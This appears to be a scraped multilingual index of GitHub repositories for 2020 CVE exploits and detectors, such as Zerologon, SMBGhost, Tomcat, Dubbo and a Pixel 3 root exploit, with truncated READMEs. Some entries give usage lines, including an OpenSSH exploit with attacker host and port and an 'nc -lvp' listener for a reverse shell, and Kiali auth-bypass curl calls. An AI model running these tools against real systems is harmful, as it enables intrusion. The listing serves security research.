root-exploit-pixel3

Pixel 3 ファミリー向けルートエクスプロイト このフォルダには、CVE-2020-0041 向けの bluefrostsecurity PoC を改変したローカル権限昇格エクスプロイトが含まれています。このエクスプロイトは SELinux を無効化し、ルートシェルを起動します。 エクスプロイトは 2020 年 2 月のファームウェア QQ1A.200205.002 を実行している Pixel 3 デバイス向けにハードコードされたオフセットで提供されています。以下の手順に従うことで、任意の Pixel 3 デバイスに適応させることができます。...

cve-2020-1948-poc

cve-2020-1948-poc Apache Dubboのデシリアライゼーションの脆弱性 インストール: pip3 install dubbo-py python3 cve-2020-1948.py デモ...

CVE-2020-9484_Exploit

CVE-2020-9484Exploit Exploit for Apache Tomcat deserialization CVE-2020-9484 which could lead to RCE Affected versions: Apache Tomcat 10.x exploit.sh exploit.sh your IP your port target IP target port...

CVE-2020-8193

Citrix ADC 脆弱性 CVE リスト https://support.citrix.com/article/CTX276688 if/while コードの追加 https://dmaasland.github.io/posts/citrix.html responsestr = json.dumpsr.headers.dict'store' if r.statuscode == 406 and "Content-Disposition" in responsestr and r.headers"Accept-Ranges" == "bytes" and...

eternalghosttest

Eternalghost Deutsch English Deutsch Dieses Repository enthält einen Testfall für CVE-2020-0796 Mit diesem kleinen Skript können Sie überprüfen, ob ein Server von Ihnen verwundbar ist. Das Skript prüft, ob Sie Compression aktiviert haben und die SMB-Version 3.1.1 ist. Das ganze geschieht über ein...

LPE---CVE-2020-0796

使用方法: Pythonがインストールされていることを確認し、poc.pyを実行してください。 Windows カーネル Write-What-Where CVE-2020-0796 エクスプロイト 教育および企業環境でのテストのみを目的としています。 MasterSpl0itは本コードについて一切の責任を負いません。自己責任で使用してください。 書き直されたCVE-2020-0796 ローカル権限昇格 POC。 Alexandre Beaulieuの成果に基づく: https://gist.github.com/alxbl/2fb9a0583c5b88db2b4d1a7f2ca5cdd...

packages_apps_settings_AOSP10_r33_CVE-2020-0416

This repository does not have a README...

CVE-2020-16898-Bad-Neighbor

CVE-2020-16898: Bad Neighbor を検出するシンプルなポリシー スクリプトによって提供される機能は以下のとおりです :: 1 Script checks on heuristic described here: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/cve-2020-16898-bad-neighbor/ インストール zeek-pkg install zeek/initconf/CVE-2020-16898-Bad-Neighbor or @load...

CVE-2020-14882_POC

CVE-2020-14882 一括検証 使い方 python3 CVE-2020-14882.py ターゲットをtarget.txtに1行ずつ入れてください 例...

CVE-2020-1472-visualizer

CVE-2020-1472 事件读取器 v1.1 2020/8/27 此脚本将： 1. 扫描输入文件夹中的系统 evtx，查找事件 5827、5828、5829、5830 和 5831，精确数据字段，导出到 582-.CSV。 2. 调用 Excel 导入生成的 582-.CSV，为常见的安全 RPC 分析场景创建数据透视表。之后删除 582-.CSV。 随意修改以符合你的需求。 脚本会尽力匹配以帮助管理员，请随意修改。 脚本需要 Excel 2013 或更高版本。 64 位 Excel 可允许创建更大的数据导入到 XLS。 使用脚本方法： 1. 将系统日志另存为...

CVE-2020-29607

CVE-2020-29607 Exploit for CVE-2020-29607 Usage...

cve-2020-1938

This repository does not have a README...

cve-2020-0618

CVE-2020-0618 ハニーポット CVE-2020-0618 SQL Reporting Services RCE の悪用試行を検出して記録します SSRS と同様のコンテンツとヘッダーを提供し、検索エンジン（Google、Shodan など）でのインデックス登録の可能性を高めます 以下の素晴らしい研究に基づいています: MDSec および x1sec インストール コードを入手 Go 環境が準備されていることを確認してください。 git clone https://github.com/wortell/cve-2020-0618 証明書の生成 自己署名証明書を生成: opens...

exploit-CVE-2020-24815

exploit-CVE-2020-24815.py this is my first exploit for CVE-2020-24815 put the POST path after url !!!! Example: if the script not work change the cookie on script $ - pip install -r requirements.txt fix probleme pdftotext not installed: $ - sudo apt-get install build-essential libpoppler-cpp-dev...

Zerologon

Zerologon Exploit Code for CVE-2020-1472 aka Zerologon...

CVE-2020-15778-Exploit

CVE-2020-15778-Exploit CVE-2020-15778のExploit OpenSSH脆弱性 例: python CVE-2020-15778.py -ip 192.168.11.123 -lhost 192.168.11.124 -lport 1234 Pythonスクリプトを使用する前に、netcatでポートをリッスンする必要があります。 例: nc -lvp 1234 1. スクリプト使用時のスクリーンショット 2. シェル取得時のスクリーンショット 2021-7-21 更新ログ: python-nmapを使用してホストの状態を確認 Usage:python3...

GLiferay-CVE-2020-7961-golang

GLiferay Detect vulns liferay CVE-2020-7961 by Nattroc EOG Team...

F5-BIG-IP-CVE-2020-5902

This repository does not have a README...

cve-2020-1764-poc

CVE-2020-1764 PoC Kiali 0.4.0 から 1.15.0 を対象とした、ログイン認証方式を使用した認証バイパス PoC（セキュリティ情報） バージョンの確認: curl 'http:///api 認証方式の確認: curl 'http:///api/auth/info' go run ./poc.go curl 'http:///api/status' -H "Authorization: Bearer $JWT"...

apache__flink_CVE-2020-17519_1-11-2

Apache Flink Apache Flink 是一个开源流处理框架，具有强大的流处理和批处理能力。 了解更多 Flink 信息，请访问 https://flink.apache.org/。 特性 一个以流处理优先的运行时，同时支持批处理和流式数据程序 在 Java 和 Scala 中提供优雅流畅的 API 一个同时支持超高吞吐量和低事件延迟的运行时 在 DataStream API 中支持 事件时间 和 乱序 处理，基于 Dataflow Model 在不同时间语义（事件时间、处理时间）下提供灵活的窗口操作（时间、计数、会话、自定义触发器） 具有 精确一次 处理保证的容错能力...